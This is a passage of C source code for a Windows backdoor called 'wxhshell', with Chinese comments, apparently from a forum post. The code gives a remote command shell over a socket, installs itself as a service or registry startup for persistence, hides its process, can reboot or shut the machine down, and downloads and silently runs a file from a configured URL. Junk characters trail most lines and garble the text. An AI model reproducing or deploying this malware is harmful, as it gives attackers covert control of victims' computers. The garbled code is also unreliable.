  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Odf6v,*@  
  } k-;A9!^h  
  else { O$K?2-  
L'@@ewA  
    switch(cmd[0]) { YQ`m;<  
  J;|i6q q  
  // 帮助 s?,\aSsU@  
  case '?': { `J26Y"]P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /SvB w>gQ  
    break; VQV%1f  
  } 'KU)]v  
  // 安装  {ch+G~oS  
  case 'i': { p%]ZG,  
    if(Install()) Jg2*$gL;_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~<<ok_  
    else u&Lp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1UwpLd  
    break; =iFI@2  
    } )Bb:?!EuEH  
  // 卸载 /hC'-6:]^  
  case 'r': { 7_^JgA|Kk7  
    if(Uninstall()) dBG5IOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]iHSUP  
    else =9;2(<A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yo^9Y@WDW  
    break; fhp+Ep!0Y  
    } R/|2s  
  // 显示 wxhshell 所在路径 h%[1V  
  case 'p': { d,:3;:CR  
    char svExeFile[MAX_PATH]; tm#[.  
    strcpy(svExeFile,"\n\r"); =*\(Y (0  
      strcat(svExeFile,ExeFile); xfFsW^w  
        send(wsh,svExeFile,strlen(svExeFile),0); "~nUwW|=1  
    break; d"#& VlKcv  
    } $;Nw_S@  
  // 重启 9u^yEqG`  
  case 'b': { Y *?hA'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FDQP|,  
    if(Boot(REBOOT)) KrzIL[;2o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZR |n\.  
    else { f8 vWN  
    closesocket(wsh); *_,: &Ur  
    ExitThread(0); 4^u wZ:  
    } l2ww3)Z  
    break; Y2&hf6BE  
    } } >z l  
  // 关机 &f_ua)cyY  
  case 'd': { ` & {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /8Xd2-  
    if(Boot(SHUTDOWN)) <3WaFi u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2 Hehw  
    else { YX,xC-37y  
    closesocket(wsh); mzH3Q564  
    ExitThread(0); :3 p&h[M  
    } @Z[XV"w|  
    break; k>W}9^ cK  
    } & Do|Hw  
  // 获取shell #}8 x  
  case 's': { [`/d$V!e  
    CmdShell(wsh); %;-r->  
    closesocket(wsh); N&YQZ^o  
    ExitThread(0); E!]d?t3b  
    break; ;]I~AGH:  
  } *m.4)2u=  
  // 退出 = t!$72g\  
  case 'x': { +T*]!9%<`:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Sj*  
    CloseIt(wsh); rd hM#?  
    break; eGE[4Z  
    } b 8~7C4  
  // 离开 'joE-{  
  case 'q': { {+  @M!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /`H{ n$  
    closesocket(wsh); G}N T[  
    WSACleanup(); bQBYzvd  
    exit(1); yh{Wuz=T  
    break; 3+tr_psH  
        } m`B .3  
  } US2Tdmy@05  
  } &?(472<f**  
daN#6e4Z+;  
  // 提示信息 n\'@]qG)Z4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :(Uz`k7   
} o)SA^5  
  } p5?8E$VHV  
/}&@1  
  return; oV,lEXz  
} =!P  
c,FhI~>R  
// shell模块句柄 D4;6}gRC  
int CmdShell(SOCKET sock) NoD\t(@h  
{ ;{S7bH'6m  
STARTUPINFO si;  Zzea  
ZeroMemory(&si,sizeof(si)); t#sw{RO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?CHFy2%Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zrm!,qs  
PROCESS_INFORMATION ProcessInfo; rwCjNky!  
char cmdline[]="cmd"; |:G`f8q9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $]I" ,ef  
  return 0; /Z m5fw9  
} YdiXj |k+  
HP G*o  
// 自身启动模式 g)UYpi?p-}  
int StartFromService(void) 3X]\p}]z  
{ d`ESe'j:  
typedef struct 6j5?&)xJ  
{ g4=6\vg  
  DWORD ExitStatus; &Rxy]kBA  
  DWORD PebBaseAddress; lgei<\6~n5  
  DWORD AffinityMask; ^iz2 =}Q8  
  DWORD BasePriority; w/Ej>OS  
  ULONG UniqueProcessId; h& Q9  
  ULONG InheritedFromUniqueProcessId; O({vHqN>  
}   PROCESS_BASIC_INFORMATION; MsLQ'9%Au  
wML5T+  
PROCNTQSIP NtQueryInformationProcess; XJ9l, :c,  
I15g G.)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _?J:Z*z?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  {xS\CC(g  
~ @Au<   
  HANDLE             hProcess; n3LCQ:]T f  
  PROCESS_BASIC_INFORMATION pbi; xK;WJm"  
elw}(l<F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E])X$:P?  
  if(NULL == hInst ) return 0; WTZr{)e  
}2i3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N,Ys}qP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 53jtwklA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o;<oXv  
MF%>avRj  
  if (!NtQueryInformationProcess) return 0; wD'LX  
SYZS@o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6yRxb (  
  if(!hProcess) return 0; W$_@9W(Bl  
{8a s _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kTe0"  
;.wWw" )  
  CloseHandle(hProcess); km+}./@  
Ls~F4ar$/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EPMdR66  
if(hProcess==NULL) return 0; oN/T>&d  
8E9W\@\  
HMODULE hMod; 2(Ez H  
char procName[255]; JkMf+ !  
unsigned long cbNeeded; Mk"V%)1k  
2~BId&]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3cztMi  
?]bZ6|;2  
  CloseHandle(hProcess); I%q&4L7pj  
d,0Yi u.p  
if(strstr(procName,"services")) return 1; // 以服务启动 r\sQ8/  
k2S6 SB  
  return 0; // 注册表启动 eE'2B."F  
} =5yI>A0  
E*_lT`Hzf  
// 主模块 V$7SVq  
int StartWxhshell(LPSTR lpCmdLine) }\oy?_8~  
{ {V)Z!D  
  SOCKET wsl; ctg[C$<q|  
BOOL val=TRUE; pdQ6/vh  
  int port=0; .sk$@Q  
  struct sockaddr_in door; &%/kPF~<  
;v?!Pml2k  
  if(wscfg.ws_autoins) Install(); Y)=89s&t  
HBc^[fJ^-  
port=atoi(lpCmdLine); 8}0O @ wq  
Y=#g_(4*  
if(port<=0) port=wscfg.ws_port; k 8Swra?j  
ZxRD+`  
  WSADATA data; Kpo{:a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =os%22*  
e2v[ma-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J}-,!3qxW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !a[1rQH  
  door.sin_family = AF_INET; ]zza/O;31(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oKJj?%dHK9  
  door.sin_port = htons(port); PB :Lj  
e Ert_@}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =O)dHY}  
closesocket(wsl); !PzlrH)M=p  
return 1; u!X$M?D4  
} uW8LG\Z>D5  
[Yzh(a8  
  if(listen(wsl,2) == INVALID_SOCKET) { coxMsDs  
closesocket(wsl); #.(6.Li  
return 1; fdD?"z  
} U0+Hk+  
  Wxhshell(wsl); C>qKKLZ  
  WSACleanup(); s C9j73 vf  
.cQ<F4)!tu  
return 0; [Pu~kiN  
H?P:;1A]c  
} C NNyz$  
mGXjSWsd  
// 以NT服务方式启动 Z5uetS^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kphv)a4z=  
{ ( *(#;|m  
DWORD   status = 0; ^fLePsmd  
  DWORD   specificError = 0xfffffff; \wxS~T<&L  
]Xur/C2A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8/;q~:v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K>h=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8gv \`  
  serviceStatus.dwWin32ExitCode     = 0; aIv>X@U}  
  serviceStatus.dwServiceSpecificExitCode = 0; >C`b 4xQ  
  serviceStatus.dwCheckPoint       = 0; L44/eyrp  
  serviceStatus.dwWaitHint       = 0; XF{ g~M  
;R E|9GR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T<|B1jA  
  if (hServiceStatusHandle==0) return; >5&'_  
(I d]'w4  
status = GetLastError(); =8r%zLDw  
  if (status!=NO_ERROR) 3hOiHO ;  
{ DHO6&8S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jB*%nB*x  
    serviceStatus.dwCheckPoint       = 0; ZkW,  
    serviceStatus.dwWaitHint       = 0; a{7>7%[  
    serviceStatus.dwWin32ExitCode     = status; sS, Swgr  
    serviceStatus.dwServiceSpecificExitCode = specificError; [<Wo7G1s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lCDu,r;\  
    return; 2Y)3Ue  
  } jmbwV,@Q2  
(KDUX t.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tw< N  
  serviceStatus.dwCheckPoint       = 0; a a=GW%  
  serviceStatus.dwWaitHint       = 0; #7IM#t c@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G}d-L!YbE'  
} r=<Oy1m/  
fQ5V RpWGn  
// 处理NT服务事件,比如:启动、停止 fPf8hz>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :=BFx"Y  
{ Wc4F'}s  
switch(fdwControl) S ni Ck*T,  
{ -aDGXQM{~  
case SERVICE_CONTROL_STOP: !>g_9'n'  
  serviceStatus.dwWin32ExitCode = 0; oZxC.;xJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kzqW&`xn?  
  serviceStatus.dwCheckPoint   = 0; ;Ft_ Xiq  
  serviceStatus.dwWaitHint     = 0; LMf_wsp  
  { }1P>^I"[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*W`}i  
  } JzJS?ZF  
  return; a$p?r3y  
case SERVICE_CONTROL_PAUSE: wK+%[i&,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N/QTf1$  
  break; Q# w`ZQX3  
case SERVICE_CONTROL_CONTINUE: _-$"F>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lC Bb0k2  
  break; cF9bSY_Eh  
case SERVICE_CONTROL_INTERROGATE: Xm./XC  
  break; k/A8 |  
}; 4k5X'&Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _jOu`1w  
} Y<0;;tVf4U  
cXiNO ke&  
// 标准应用程序主函数 _5(lp} s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l2"{uCcA  
{ +jePp_3$O  
v1Tla]d  
// 获取操作系统版本 )$XW~oA'  
OsIsNt=GetOsVer(); ^s/HbCA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !%{/eQFT4  
iB;EV8E  
  // 从命令行安装 ES[H^}|Gi  
  if(strpbrk(lpCmdLine,"iI")) Install(); K,{P b?  
'M>QA"*48E  
  // 下载执行文件 LeDty_  
if(wscfg.ws_downexe) { ezn%*X y,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]z EatY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1*\JqCR  
} XdX1GH*C  
fvn`$  
if(!OsIsNt) { 0|kkwZVPn  
// 如果时win9x,隐藏进程并且设置为注册表启动 E|OB9BOS  
HideProc(); 6? I,sZW  
StartWxhshell(lpCmdLine); yOwo(+ 2  
} T8( \:v  
else YqhZndktX  
  if(StartFromService()) ~u-DuOZ8  
  // 以服务方式启动 f8yE>qJP  
  StartServiceCtrlDispatcher(DispatchTable); b(JQ>,hX  
else DPCB=2E  
  // 普通方式启动 r(;sX  
  StartWxhshell(lpCmdLine); 0Q? XU.v  
d[mmwgSR?I  
return 0; v?e@`;- <  
}
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只看该作者 1 发表于: 2006-10-10
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